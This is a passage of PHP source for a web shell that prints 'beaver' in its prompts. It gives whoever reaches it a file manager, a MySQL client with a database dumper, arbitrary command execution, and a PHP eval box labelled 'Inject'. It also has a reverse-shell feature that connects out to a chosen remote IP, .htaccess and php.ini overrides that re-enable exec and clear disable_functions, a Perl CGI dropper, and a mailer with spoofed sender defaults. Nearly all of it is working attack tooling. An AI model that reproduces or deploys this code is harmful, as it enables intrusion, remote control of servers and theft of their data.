					<ul>
						<li><a href='?a=v&r=%s'>Source</a></li>
						<li><a href='?a=v&w=f&r=%s'>iFrame</a></li>
						<li><a href='?a=v&w=i&r=%s'>Image</a></li>
						<li><a href='?a=v&w=v&r=%s'>Video</a></li>
						<li><a href='?a=v&w=a&r=%s'>Audio</a></li>
					</ul>
				</div>",
			urle($file),urle($file),
			urle($file),urle($file),
			urle($file));

			if(is_readable($file))
			{
				if(any("w",$_REQUEST))
				{
					$url=GetUrlFromPath($file);
					$type=pathinfo($url)['extension'];

					if($_REQUEST['w']=='f')
					{
						printf("<center><iframe src='%s' width='100%%' height='325' frameBorder='0'>Suck</iframe><a href='%s' target='_blank'>--> New Tab <--</a></center>",$url,$url);
					}

					if($_REQUEST['w']=='i')
					{
						printf("<center><img src='%s' alt='&nbsp;Not Image'/></center>",$url);
					}

					if($_REQUEST['w']=='v')
					{
						printf("<center><video width='640' height='320' controls><source src='%s' type='video/%s'>Suck</video></center>",$url,$type);
					}

					if($_REQUEST['w']=='a')
					{
						printf("<center><audio controls><source src='%s' type='audio/%s'>Suck</audio></center>",$url,$type);
					}
				}
				else
				{
					if(filesize($file) > 5242880)
					{
						printf("Lazy to Read more than 5MB Files");
					}
					else
					{
						$code=highlight_file($file,true);
						printf("<div class='highlight'>%s</div>",$code);
					}
				}
			}
		}
		
		if($_REQUEST['a']=='h')
		{
			$c=file_get_contents($file);
			$n=0;
			$h=array('00000000<br>','','');
			$len=strlen($c);
			for($i=0;$i<$len;++$i)
			{
				$h[1].=sprintf('%02X',ord($c[$i])).' ';
				switch(ord($c[$i]))
				{
					case 0: $h[2].=' ';break;
					case 9: $h[2].=' ';break;
					case 10:$h[2].=' ';break;
					case 13:$h[2].=' ';break;
					default:$h[2].=$c[$i];break;
				}
				$n++;
				if($n==32)
				{
					$n=0;
					if($i+1 < $len)
					{
						$h[0].=sprintf('%08X',$i+1).'<br>';
					}
					$h[1].='<br>';
					$h[2].="
";
				}
			}
			printf("
				<div id='hexdump'>
					<table class='hexdump'>
						<tr>
							<td><pre>%s</pre></td>
							<td><pre>%s</pre></td>
							<td><pre>%s</pre></td>
						</tr>
					</table>
				</div>",$h[0],$h[1],htmlspecialchars($h[2]));
		}

		if($_REQUEST['a']=='cp'||$_REQUEST['a']=='mv')
		{
			printf("<form class='new' method='post'>
				<input type='text' name='file-dest' value='%s'/>
				<input type='Submit' value='%s' name='submit'/>
				<label>%s</label>
			</form>",$file,($_REQUEST['a']=='cp'?'Copy':'Move'),$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("submit",$_REQUEST))
			{
				$source=$file;
				$dest=$_REQUEST['file-dest'];

				if(!file_exists($dest))
				{
					if ($_REQUEST['a']=='cp')
					{
						if(!copy(trim($source),trim($dest))) 
						{
						    $_SESSION['status']='Whoops, cannot copying...';
						}
						else 
						{
						    $_SESSION['status']="Copy file with success <a href=?a=v&r='" . urle($dest) . "'>'" . basename($dest) . "'</a>";
						}
					}
					elseif($_REQUEST['a']=='mv')
					{
						if(!copy(trim($source),trim($dest))) 
						{
						    $_SESSION['status']='Whoops, cannot moving...';
						}
						else 
						{
						    if(Remove($source))
						    {
						    	$_SESSION['status']="Move file with success";
						    	$file=$dest;
						   }
						    else
						    {
						    	$_SESSION['status']='Whoops, just copying...';
						   }
						}
					}
				}
				else
				{
					$_SESSION['status']="Whoops, File was Exists <a href=?a=v&r='" . urle($dest) . "'>'" . basename($dest) . "'</a>";
				}

				if($_REQUEST['a']=='cp')
				{
					header("location:".php_self."?a=cp&r=".urle($file));
				}
				elseif($_REQUEST['a']=='mv')
				{
					header("location:".php_self."?a=mv&r=".urle($file));
				}
			}
		}

		if($_REQUEST['a']=='d')
		{
			if(file_exists($file))
			{
				header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
				header('Content-Disposition:attachment;filename='.basename($file));
				header('Content-Type:application/octet-stream');
				header('Content-Description:File Transfer');
				header('Content-Transfer-Encoding:binary');
				header('Content-Length:'.filesize($file));
				header('Pragma:public');
				header('Expires:0');
				ob_clean();
				readfile($file);
				exit;
			}
		}
		
		if($_REQUEST['a']=='x')
		{
			if(file_exists($file))
			{
				if(Remove($file))
				{
					header("location:".$back);
				}
			}
			
			print '<font class="off">Cannot Delete</font>';
		}
	}
	else
	{
		print '<font class="off">File Not Found</font>';
	}
}

if(any("x",$_REQUEST))
{
	if($_REQUEST['x']=="logout")
	{
		session_destroy();
		session_regenerate_id();
		header('location:'.php_self);
	}
	if($_REQUEST['x']=="secure")
	{
		$disable_functions=array_filter(array_map('trim',explode(',',ini_get("disable_functions"))));

		$security=array('_xyec','allow_url_fopen','allow_url_include','apache_child_terminate','apache_get_modules','apache_getenv',
		'apache_note','apache_setenv','base64_decode','chdir','chgrp','chmod','chown','curl_exec','curl_multi_exec','dbase_open',
		'dbmopen','define_syslog_variables','disk_free_space','disk_total_space','diskfreespace','dl','dlopen','escapeshellarg',
		'escapeshellcmd','eval','exec','extract','filepro','filepro_retrieve','filepro_rowcount','fopen_with_path','fp','fput',
		'fputs','ftp_connect','ftp_exec','ftp_get','ftp_login','ftp_nb_fput','ftp_put','ftp_raw','ftp_rawlist','geoip_open',
		'get_cfg_var','get_current_user','get_num_redirects','getcwd','getenv','getlastmo','getmygid','getmyinode','getmypid',
		'getmyuid','getrusage','gzinflate','gzuncompress','highlight_file','hpAds_xmlrpcEncode','ini_alter','ini_get_all',
		'ini_restore','ini_set','inject_code','leak','link','listen','mainwork','mb_send_mail','mkdir','mkfifo','move_uploaded_file',
		'mysql_list_dbs','mysql_pconnect','openlog','parse_ini_file','passthru','pcntl_alarm','pcntl_exec','pcntl_fork',
		'pcntl_get_last_error','pcntl_getpriority','pcntl_setpriority','pcntl_signal','pcntl_signal_dispatch','pcntl_sigprocmask',
		'pcntl_sigtimedwait','pcntl_sigwaitinfo','pcntl_strerrorp','pcntl_wait','pcntl_waitpid','pcntl_wexitstatus','pcntl_wifexited',
		'pcntl_wifsignaled','pcntl_wifstopped','pcntl_wstopsig','pcntl_wtermsig','pfsockopen','phpAds_XmlRpc','phpAds_remoteInfo',
		'phpAds_xmlrpcDecode','phpAds_xmlrpcEncode','php_uname','phpinfo','popen','posix_getgrgid','posix_getlogin','posix_getpwuid',
		'posix_kill','posix_mkfifo','posix_setpgid','posix_setsid','posix_setuid','posix_ttyname','posix_uname','posixc','proc_close',
		'proc_get_stats','proc_get_status','proc_nice','proc_open','proc_terminate','ps_aux','putenv','readlink','rename','rmdir',
		'runkit_function_rename','set_time_limit','sh2_exec','shell_exec','show_source','sleep','socket_accept','socket_bind',
		'socket_clear_error','socket_close','socket_connect','socket_create','socket_create_listen','socket_create_pair',
		'socket_get_option','socket_getpeername','socket_getsockname','socket_last_error','socket_listen','socket_read',
		'socket_recv','socket_recvfrom','socket_select','socket_send','socket_sendto','socket_set_block','socket_set_nonblock',
		'socket_set_option','socket_shutdown','socket_strerror','socket_write','str_rot13','stream_select','stream_socket_server',
		'symlink','syslog','system','tp_exec','virtual','xmlrpc_entity_decode');

		sort($security); 
		$fucks=array_unique(array_merge($disable_functions,$security));
		$table="";
		$enable=0;
		$disable=0;
		$die=array();
		$ready=array();
		$off=array();
		$total=count($fucks);

		foreach($fucks as $fuck)
		{
			$table.="<tr><td></td><td>$fuck</td><td>";
			if(in_array($fuck,$disable_functions))
			{
				$table.="<center><font color=red>DIE</font></center>";
				$die[]=$fuck;
				$disable++;
			}
			else
			{
				if(function_exists($fuck)||is_callable($fuck))
				{
					$table.="<center><font color=green>READY</font></center>";
					$ready[]=$fuck;
					$enable++;
				}
				else
				{
					$table.="<center><font color=orange>OFF</font></center>";
					$off[]=$fuck;
					$disable++;
				}
			}
			$table.="</td></tr>";
		}

		$risk=($enable/$total)*100;
		$secure=($disable/$total)*100;

		printf("<h2 style='text-align:center'>Sec. Info v2.0.%s</h2><br>
			<h4 style='text-align:center;color:var(--txt-color)'>Risks Rate <font color=red>[%s%%]</font> | Secure Rate <font color=green>[%s%%]</font></h4><br><br>
			<div class='auto-number'>
				<table class='table sortable'>
					<thead>
						<tr>
							<th class='sorttable_nosort' width='15'>No.</th>
							<th>Disable Function</th>
							<th>Status</th>
						</tr>
					</thead>
					<tbody>
						%s
					</tbody>
				</table>
				<fieldset style='margin-bottom:15px'>
					<legend>Ready List</legend>
					<textarea>%s</textarea>
				</fieldset>
				<div class='divide'>
					<div class='divide-left'>
						<fieldset style='margin-bottom:15px'>
							<legend>Off List</legend>
							<textarea>%s</textarea>
						</fieldset>
					</div>
					<div class='divide-right'>
						<fieldset>
							<legend>Die List</legend>
							<textarea>%s</textarea>
						</fieldset>
					</div>
			</div>",$total,round($risk,2),round($secure,2),$table,implode($ready, ', '),implode($off, ', '),implode($die, ', '));
	}
	if($_REQUEST['x']=="info")
	{
		printf("<div id='php-configuration'>
			<form onsubmit='return false;' class='new'>
				<select id='php-config'>
					<option value='4'>INFO_CONFIGURATION</option>
					<option value='16' selected>INFO_ENVIRONMENT</option>
					<option value='32'>INFO_VARIABLES</option>
					<option value='8'>INFO_MODULES</option>
					<option value='1'>INFO_GENERAL</option>
					<option value='2'>INFO_CREDITS</option>
					<option value='64'>INFO_LICENSE</option>
					<option value='-1'>INFO_ALL</option>
				</select>
				<input type='submit' onclick=\"return getAjax(true,'php-info','POST','?x=info&xa=envirolment&config='+document.getElementById('php-config').value);\"/><br>
			</form>
		</div>
		<div id='php-info' class='result'></div>");

		$cores=array('PHP_VERSION','PHP_MAJOR_VERSION','PHP_MINOR_VERSION','PHP_RELEASE_VERSION','PHP_VERSION_ID',
				  'PHP_EXTRA_VERSION','PHP_ZTS','PHP_DEBUG','PHP_MAXPATHLEN','PHP_OS','PHP_OS_FAMILY','PHP_SAPI',
				  'PHP_EOL','PHP_INT_MAX','PHP_INT_MIN','PHP_INT_SIZE','PHP_FLOAT_DIG','PHP_FLOAT_EPSILON',
				  'PHP_FLOAT_MIN','PHP_FLOAT_MAX','DEFAULT_INCLUDE_PATH','PEAR_INSTALL_DIR','PEAR_EXTENSION_DIR',
				  'PHP_EXTENSION_DIR','PHP_PREFIX','PHP_BINDIR','PHP_BINARY','PHP_MANDIR','PHP_LIBDIR','PHP_DATADIR',
				  'PHP_SYSCONFDIR','PHP_LOCALSTATEDIR','PHP_CONFIG_FILE_PATH','PHP_CONFIG_FILE_SCAN_DIR',
				  'PHP_SHLIB_SUFFIX','PHP_FD_SETSIZE');

		$table="";
		foreach($cores as $core)
		{
			$table.="<tr><td>".$core."</td><td>".@constant($core)."</td></tr>";
		}

		printf("<h2>Core Predefined Constants</h2><br>
				<table class='table'>
					<thead>
						<tr>
							<th>Predefined Constants</th>
							<th>Value</th>
						</tr>
					<tbody>%s</tbody>
				</table>",$table);

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="envirolment")
		{
			ob_clean();
			phpinfo($_REQUEST['config']);
			$phpinfo=ob_get_contents();
			ob_end_clean();
			$phpinfo=preg_replace('%^.*<body>(.*)</body>.*$%ms','$1',$phpinfo);
			printf("<div id='phpinfo'>%s</div>",$phpinfo);
			exit;
		}
	}
	if($_REQUEST['x']=="db")
	{
		$connect=any("connect",$_SESSION)?$_SESSION['connect']:"";
		$status=any("status",$_SESSION)?$_SESSION['status']:"";
		$query=any("query",$_REQUEST)?$_REQUEST['query']:"show databases;";

		if($connect==true)
		{
			$process="";
			$sql=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],$_SESSION['dbas'],$_SESSION['port']);
			/* 
			$result=mysql_list_processes($sql);
			while($row=mysql_fetch_assoc($result))
			{
			    $process.=sprintf("<tr>
			    	<td>%s</td><td>%s</td><td>%s</td>
			    	<td>%s</td><td>%s</td></tr>",
			    	$row["Id"],$row["Host"],$row["db"],
			    	$row["Command"],$row["Time"]);
			}
			mysql_free_result($result); 
			*/
			
			printf("<div class='database-session'>
						<div class='database-query'>
							<form action='?x=db&xa=qry' method='post'>
								<label>MYSQL Query<hr></label><br>
								<label><i style='color:#222'>
								show databases;<br>
								show tables from {database};<br>
								show columns from {database}.{table};<br>
								select count(*) from {database}.{table};<br>
								select * from {database}.{table}limit 0,10;</i></label>
								<textarea id='query' name='query'>%s</textarea><br>
								<input type='submit' name='disconnect' value='Disconnect'/>
								<input type='submit' value='Execute'/>
							</form>
						</div>
						<div class='database-process'>
							<!-- div class='mysql-process-result'>
								<label>Database Process <a href='?x=db&xa=proc'>&#9851;</a><hr></label>
								<table class='table table-bordered'>
									<thead>
										<tr>
											<th>Id</th>
											<th>Host</th>
											<th>Database</th>
											<th>Command</th>
											<th>Time</th>
										</tr>
									</thead>
									<tbody>%s</tbody>
								</table>
							</div -->
							<div class='database-dump'>
								<label>Database Dump<hr></label>
								<form action='?x=db&xa=dmp' method='post'><br>
									<label>Database</label><input type='text' name='database' value=''/><br>
									<label>Output</label><input type='text' name='output' value='%s'/><br>
									<input type='submit' value='Dump' />
									<label>%s</label>
								</form>
							</div>
						</div>
						<div class='clr'></div>
					</div>
					",$query,$process,$dir,$status);
		
		}
		else
		{
			printf("<div id='database'>
					<form action='?x=db&xa=db' method='post' class='new'><br>
						<label>Host</label><input type='text' name='host' value='localhost'/><br>
						<label>Port</label><input type='text' name='port' value='3306'/><br>
						<label>Username</label><input type='text' name='user' value='root'/><br>
						<label>Password</label><input type='text' name='pass' value=''/><br>
						<label>Database</label><input type='text' name='dbas' value=''/><br>
						<input type='submit' value='Connect'/>
					</form>
				</div>");
		}

		if(any("rs",$_REQUEST))
		{
			$_SESSION[$_REQUEST['rs']]='';
		}

		if(any("cd",$_REQUEST))
		{
			$_SESSION['qdb']=$_REQUEST['cd'];
		}

		if(any("ct",$_REQUEST))
		{
			$_SESSION['qtb']=$_REQUEST['ct'];
		}

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="db")
		{	
			$cn=mysqli_connect($_REQUEST['host'],$_REQUEST['user'],$_REQUEST['pass'],$_REQUEST['dbas'],$_REQUEST['port']);

			$_SESSION['host']=$_REQUEST['host'];
			$_SESSION['port']=$_REQUEST['port'];
			$_SESSION['user']=$_REQUEST['user'];
			$_SESSION['pass']=$_REQUEST['pass'];
			$_SESSION['dbas']=$_REQUEST['dbas'];

			if($cn)
			{
				$_SESSION['connect']=true;
				header('location:'.php_self.'?x=db');
			}
			else
			{
				$_SESSION['connect']=false;
				printf("<b class='off'>Connection Failed</b>");
			}
		}

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="qry")
		{
			$_SESSION['status']='';
			$con=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],$_SESSION['dbas'],$_SESSION['port']);

			if(isset($_REQUEST['disconnect']))
			{
				mysqli_close($con);
				unset($_SESSION['connect']);
				unset($_SESSION['query']);
				unset($_SESSION['host']);
				unset($_SESSION['user']);
				unset($_SESSION['pass']);
				unset($_SESSION['dbas']);
				unset($_SESSION['qdb']);
				unset($_SESSION['qtb']);
				header('location:'.php_self.'?x=db');
			}

			$sql=!empty($_REQUEST['query'])?$_REQUEST['query']:"show databases;";
			$result=mysqli_query($con,$sql);
			$data=array();
			$name=array();

			if($result)
			{
				while($fieldinfo=mysqli_fetch_field($result))
				{
					$name[]=$fieldinfo->name;
				}
				$data[]=$name;
				while($row=mysqli_fetch_row($result))
				{
					$data[]=$row;
				}
				mysqli_free_result($result);
			}
			else
			{
				$data=false;
			}

			if($data!==false)
			{
				$sqdb=isset($_SESSION['qdb']) ? $_SESSION['qdb'] : '';
				$sqtb=isset($_SESSION['qtb']) ? $_SESSION['qtb'] : '';

				$bsdb="<a href='?x=db&xa=qry&rs=qdb&query=show databases;'>Database</a>";
				$bqdb=!empty($_SESSION['qdb'])?"&#8594;	<a href='?x=db&xa=qry&rs=qtb&query=show tables from $sqdb;'>$sqdb</a>":"";
				$bqtb=!empty($_SESSION['qtb'])?"&#8594;	<a href='?x=db&xa=qry&query=show columns from $sqdb.$sqtb;'>$sqtb</a>":"";

				printf("<div class='database=table'>
						<div class='database-breadcrumb'>%s %s %s</div>
						<div class='auto-number'>
						<table class='table sortable'>",$bsdb,$bqdb,$bqtb);

				foreach($data as $key => $val)
				{
					if(is_array($val))
					{
						if($key==0)
						{
							print "<tr><th class='sorttable_nosort'>&#9776;</th>";
							foreach($val as $key2 => $val2)
							{
								if(!is_array($val2))
								{
									print "<th>".$val2."</th>";
								}
							}
							print "</tr>";
						}
						else
						{
							print "<tr><td width='15'></td>";
							foreach($val as $key3 => $val3)
							{
								if(!is_array($val3))
								{
									if(strpos($val2,'Database')!==false)
									{
										print "<td><a href='?x=db&xa=qry&cd=$val3&query=show tables from $val3;'>$val3</a></td>";
									}
									elseif(strpos($val2,'Tables')!==false)
									{
										$val4=substr($val2,strpos($val2,'Tables_in_')+10);
										print "<td><a href='?x=db&xa=qry&cd=$val4&ct=$val3&query=select * from $val4.$val3 limit 0,10;'>$val3</a></td>";
									}
									else
									{
										print "<td>$val3</td>";
									}
								}
							}
							print "</tr>";
						}
					}
				}
				print "</table></div></div>";
			}
			else
			{
				print '<span class=off>Query not Executed</span>';
			}
		}

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="dmp")
		{
			$database=$_REQUEST['database'];
			$output=$_REQUEST['output'];
			if (!file_exists($output)&&!empty($database)) 
			{
				$link=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],null,$_SESSION['port']);
				mysqli_set_charset($link,'utf8');
				mysqli_select_db($link,$database);
				$tables=array();
				$result=mysqli_query($link,'SHOW TABLES');
				while($row=mysqli_fetch_row($result))
				{
					$tables[]=$row[0];
				}
				$return='SET FOREIGN_KEY_CHECKS=0;' . "
";
				$return.='SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";' . "
";
				$return.='SET AUTOCOMMIT=0;' . "
";
				$return.='START TRANSACTION;' . "
";
				foreach($tables as $table)
				{
					$result=mysqli_query($link,'SELECT * FROM '.$table);
					$num_fields=mysqli_num_fields($result);
					$num_rows=mysqli_num_rows($result);
					$i_row=0;
					$row2=mysqli_fetch_row(mysqli_query($link,'SHOW CREATE TABLE '.$table));
					$return.="

".$row2[1].";

";
					if ($num_rows!==0) {
						$row3=@mysqli_fetch_fields($result);
						$return.='INSERT INTO '.$table.'( ';
						foreach ($row3 as $th) 
						{ 
							$return.='`'.$th->name.'`,';
						}
						$return=substr($return,0,-2);
						$return.=' ) VALUES';
						for ($i=0;$i < $num_fields;$i++) 
						{
							while($row=mysqli_fetch_row($result))
							{
								$return.="
(";
								for($j=0;$j<$num_fields;$j++) 
								{
									$row[$j]=addslashes($row[$j]);
									$row[$j]=preg_replace("#
#","\n",$row[$j]);
									if (isset($row[$j])) { $return.='"'.$row[$j].'"';}else { $return.='""';}
									if ($j<($num_fields-1)) { $return.=',';}
								}
								if (++$i_row==$num_rows) {
									$return.=");";
								}else {
									$return.="),";
								}  
							}
						}
					}
					$return.="


";
				}
				$return .='SET FOREIGN_KEY_CHECKS=1;' . "
";
				$return.='COMMIT;';
				$output=pathinfo($otput)['extension']=='sql'?$output:$output.'.sql';
				$handle=fopen($output,'w+');
				fwrite($handle,$return);
				fclose($handle);
				$_SESSION['status']=sprintf("Dump with success... <a href='?a=v&r=%s' target='_blank'>'%s'</a>",urle($output),basename($output));	    
			}
			else
			{
				$_SESSION['status']="<span class=off>Dump Error</span>";
			}
			
			header('location:'.php_self.'?x=db');
		}

	}
	if($_REQUEST['x']=="terminal")
	{
		printf("
			<div id='terminal'>
				<textarea id='prompt-terminal' class='cmd' cols='122' rows='20' readonly>%s</textarea>
				<form onsubmit='return false;'>
					<label id='curdir-terminal'>$ %s:</label>
					<input type='text' id='terminal-input' autocomplete='off' onfocus=\"\" onkeydown=\"
						if(event.keyCode==13) 
						{
							temp=this.value;
							this.value='';
							getAjax(true,'curdir-terminal','POST','?x=terminal&xa=terminals-curdir&cmd='+temp);
							return getAjax(false,'prompt-terminal','POST','?x=terminal&xa=terminals&cmd='+temp);
						}
					\" class='cmd' name=cmd cols=122 rows=2></input>
				</form>
			</div>",Execute('whoami'),$dir);

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="terminals")
		{	
			ob_clean();
			$command=!empty($_REQUEST['cmd'])?$_REQUEST['cmd']:"whoami";
			@chdir($dir);
			$charset='UTF-8';
			if(!Unix())
			{
				$charset='Windows-1251';
			}
			$ret=iconv($charset,'UTF-8',Execute($command));
			print $ret;
			exit;
		}
		elseif(any("xa",$_REQUEST)&&$_REQUEST['xa']=="terminals-curdir")
		{	
			ob_clean();
			$command=!empty($_REQUEST['cmd'])?$_REQUEST['cmd']:"whoami";
			if (preg_match('/cd (.*)/',$command,$dirx))
			{
				if ($dirx[1]=='..')
				{
					$dir=substr($dir,0,strrpos($dir,_));
					if (strlen($dir)<=2) $dir=$dir._;
				}
				else
				{
					if (is_dir($dirx[1]))
					{
						$dir=realpath($dirx[1]);
					}
				}
			}
			$_SESSION['c']=urle($dir);
			print '$ '.$dir.':';
			exit;
		}
	}
	if($_REQUEST['x']=="connect")
	{
		printf("<div id='connect'>
				<div class='connect-left'>
					<div class='Reverse-connect'>
						<fieldset>
							<legend>Reverse Connect</legend>
							<form action='?x=connect&xa=reverse-connect' method='post' onsubmit=\"
								return confirm('HOST will FUCKED ON ur PC or LAPTOP ?!\nMake Sure ur FIREWALL OFF ?!\nUSE NETCAT {nc -lvp ' + document.getElementById('reverse-port').value+'}\n\nTYPE \'exit\' or \'quit\' to TERMINATE')\">
								<label>Remote Ip</label><input type='text' name='reverse-ip' value='%s'/><br>
								<label>Remote Port</label><input type='text' id='reverse-port' name='reverse-port' value='1337'/><br>
								<label>Socket</label><select name='socket'>
									<option value='fsockopen'>fsockopen</option>
									<option value='socket_create'>socket_create</option>
									<option value='stream_socket_client'>stream_socket_client</option>
								</select><br>
								<input type='submit' value='Connect'  />
							</form>
						</fieldset>
					</div>
				</div>
				<div class='connect-right'>
					<div class='status-connect'>
						<fieldset>
 							<legend>Status</legend>
							<div id='connect-result'>Terminal: %s",
							remote_addr,Execute('whoami') 
		);

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="reverse-connect")
		{
			if($_REQUEST['socket']=="fsockopen")
			{
				$host=$_REQUEST['reverse-ip'];
				$port=$_REQUEST['reverse-port'];
				$sock=@fsockopen($host,$port,$errno,$errstr);
				if($errno!=0)
				{
					printf("<font color='red'><b>%s</b>:%s</font>",$errno,$errstr);
				}
				else
				{
					while(!feof($sock)) 
				    {
				    	fwrite($sock,"[beaver]:");
				        $command=fgets($sock,1024);
				        if(trim($command)=='quit'||trim($command)=='exit')
					    {
					    	fclose($sock);
					    	printf($command);
					    	exit;
					   }
				       fwrite($sock,Execute($command));
				   }
				    fclose($sock);
				}
			}
			else if($_REQUEST['socket']=="socket_create")
			{
				$host=$_REQUEST['reverse-ip'];
				$port=$_REQUEST['reverse-port'];
				$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
				socket_set_nonblock($sock);
				if(!$sock)
				{
					printf("<font color='red'>Connection Error</font>");
				}
				else
				{
					while(!@socket_connect($sock,$host,$port)) 
					{
					    @socket_write($sock,"[beaver]:",strlen ("[beaver]:"));
					    $input=@socket_read($sock,1024,PHP_NORMAL_READ);
					    if (trim($input)=='quit'||trim($input)=='exit')
					    {
					    	socket_set_block($sock);
					    	socket_close($sock);
					    	printf($input);
					    	exit;
					   }
					   @socket_write($sock,Execute($input),strlen (Execute($input)));
					}
					socket_set_block($sock);
					socket_close($sock);
				}
			}
			else if($_REQUEST['socket']=="stream_socket_client")
			{
				$host=$_REQUEST['reverse-ip'];
				$port=$_REQUEST['reverse-port'];
				$sock=@stream_socket_client("tcp://$host:$port",$errno,$errstr);
				if (!$sock) 
				{ 
				    printf("<font color='red'><b>%s</b>:%s</font>",$errno,$errstr);
				}
				else 
				{ 
					while(!feof($sock)) 
				    { 
				    	fwrite($sock,"[beaver]:");
				        $command=fgets($sock,1024);
				        if(trim($command)=='quit'||trim($command)=='exit')
					    {
					    	fclose($sock);
					    	printf($command);
					    	exit;
					   }
				        fwrite($sock,Execute($command));
				   }
				    fclose($sock);
				}
			}
		}
		printf("</fieldset></div></div></div></div>");
	}
	if($_REQUEST['x']=="htaccess")
	{
		$php_ini=array(
			"php_value upload_max_filesize 32M",
			"php_value post_max_size 32M",
			"php_flag safe_mode Off",
			"php_value disable_functions null",
			"php_flag safe_mode_gid Off",
			"php_value open_basedir $dir",
			"php_flag register_globals On",
			"php_flag exec On",
			"php_flag shell_exec On");

		$htaccess=array(
			"Options All",
			"Allow From All",
			"Satisfy Any");

		printf("
			<div class='divide'>
				<div class='divide-left'>
					<textarea>%s</textarea>
				</div>
				<div class='divide-right'>
					<textarea>%s</textarea>
				</div>
			</div>",implode($php_ini,"
"),implode($htaccess,"
"));
	}
	if($_REQUEST['x']=="php")
	{	
		$exp=array(
			"print_r(get_extension_funcs('Core'));",
			"print_r(get_loaded_extensions());",
			"print_r(ini_get_all('pcre'));",
			"print_r(ini_get_all());",
			"print_r(get_defined_constants());",
			"print_r(get_defined_functions());",
			"print_r(get_declared_classes());");
		
		printf("<div id='php'>
					<form onsubmit='return false;'>
						<div class='php-left'>
							<textarea id='php-code' cols='122' rows='20'>%s</textarea>
						</div>
						<div class='php-right'>
							<textarea id='php-eval' cols='122' rows='20' readonly></textarea>
						</div>
						<input type='submit' id='php-submit' onclick=\"getAjax(false,'php-eval','POST','?x=php&codex='+document.getElementById('php-code').value);\" class='php-code' name=php-code cols=122 rows=20 value='Inject'/>
						<input type='submit' id='php-submit' onclick=\"getAjax(false,'php-eval','POST','?x=php&code='+document.getElementById('php-code').value);\" class='php-code' name=php-code cols=122 rows=20 value='Run'/>
					</form>
				</div>",implode($exp,"
"));

		if(any("code",$_REQUEST))
		{
			ob_clean();
			$code=trim($_REQUEST['code']);
			$evil=Evil($code);
			exit;
		}
		if(any("codex",$_REQUEST))
		{
			ob_clean();
			$code=trim($_REQUEST['codex']);
			$evil=Evil($code,true);
			exit;
		}
	}
	if($_REQUEST['x']=="perl")
	{
		print 'PHP Perl Class: '.(class_exists('Perl')?"<b class='on'>ON</b>":"<b class='off'>OFF</b>").'<br>';

		if(Unix())
		{
			if(file_exists("/usr/bin/perl"))
			{
				$path_perl="/usr/bin/perl";
			}
			else
			{
				$path_perl="/usr/bin/env perl";
			}
		}
		else
		{
			if(file_exists("C:\perlin\perl.exe"))
			{
				$path_perl="C:\perlin\perl.exe";
			}
			elseif(file_exists("C:\wampin\perl.exe"))
			{
				$path_perl="C:\wampin\perl.exe";
			}
			elseif(file_exists("C:\xampp\perlin\perl.exe"))
			{
				$path_perl="C:\xampp\perlin\perl.exe";
			}
		}
		
		$script=array(
			"#!$path_perl",
			"use strict;",
			"use warnings;",
			"use CGI;",
			"print CGI::header();",
			"print 'beaver on CGI';");

		$htaccess=array(
			"Options +ExecCGI +SymLinksIfOwnerMatch",
			"DirectoryIndex index.ler",
			"AddType application/x-httpd-cgi .ler",
			"AddHandler cgi-script .ler");

		$path=$dir._.'cgi-bin';
		$file=$path._.'perl.ler';
		$file2=$path._.'.htaccess';

		$scripts=implode($script,"
");
		$htaccesss=implode($htaccess,"
");

		if(!is_dir($path))
		{
			mkdir($path,0755);
		}
		if(!is_file($file))
		{
			$op=fopen($file,'w+');
			fwrite($op,$scripts);
			fclose($op);
			chmod($file,0755);
		}
		if(!is_file($file2))
		{
			$op=fopen($file2,'w+');
			fwrite($op,$htaccesss);
			fclose($op);
			chmod($file2,0755);
		}

		$redirect=GetUrlFromPath($file);
		printf("Tested -> <a href='$redirect' target='_blank'><u>Link</u></a>");
		
		if (class_exists('Perl'))
		{
			//$perl=Perl::getInstance();
			$perl=new Perl();
			$perl->eval("print \"Executing Perl code in PHP
\"");
			print "Hello from PHP! ";

			//$perl=new Perl();
			$perl->require($file);
			$val=$perl->somePhpFunc('test');
			print $val;
		}
	}
	if($_REQUEST['x']=="mail")
	{
		printf("

			<div class='divide'>
				<div class='divide-left'>
					<fieldset>
						<legend>Mail</legend>
						<form onsubmit='return false;' class='mail'>
							<label>From</label><input type='text' id='email-from' placeholder='Attacker <[email protected]>' value='Attacker <[email protected]>'/><br>
							<label>Reply To</label><input type='text' id='email-reply' [email protected]' value='[email protected]'/><br>
							<label>To</label><input type='text' id='email-to' placeholder='Target 1 <[email protected]>,Target 2 <[email protected]>' value=''/><br>
							<label>Cc</label><input type='text' id='email-cc' placeholder='[email protected],[email protected]' value=''/><br>
							<label>Bcc</label><input type='text' id='email-bcc' placeholder='[email protected],[email protected]' value=''/><br>
							<label>Subject</label><input type='text' id='email-subject' placeholder='What You Waiting For ?' value=''/><br>
							<label>Attachment (FIlename)</label><input type='text' id='email-attachment' placeholder='%s' value=''/><br>
							<label>Messages</label><input type='text' id='email-message'/><br>
							<input type='submit' value='Send' onclick=\"

								getAjax(true,
									'send-result',
									'POST',
									'?x=mail&xa=send'+
									'&from='+document.getElementById('email-from').value+
									'&reply='+document.getElementById('email-reply').value+
									'&to='+document.getElementById('email-to').value+
									'&cc='+document.getElementById('email-cc').value+
									'&bcc='+document.getElementById('email-bcc').value+
									'&subject='+document.getElementById('email-subject').value+
									'&message='+document.getElementById('email-message').value+
									'&attachment='+document.getElementById('email-attachment').value);

							\"/>	
						</form>
					</fieldset>
				</div>
				<div class='divide-right'>
					<fieldset>
						<legend>Result's</legend>
						<div id='send-result'></div>
					</fieldset>
				</div>
			</div>

		",php_self);

		if(any('xa',$_REQUEST)&&$_REQUEST['xa']=='send')
		{
			ob_clean();
			$from=$_REQUEST['from'];
			$reply=$_REQUEST['reply'];
			$to=$_REQUEST['to'];
			$cc=$_REQUEST['cc'];
			$bcc=$_REQUEST['bcc'];
			$subject=$_REQUEST['subject'];
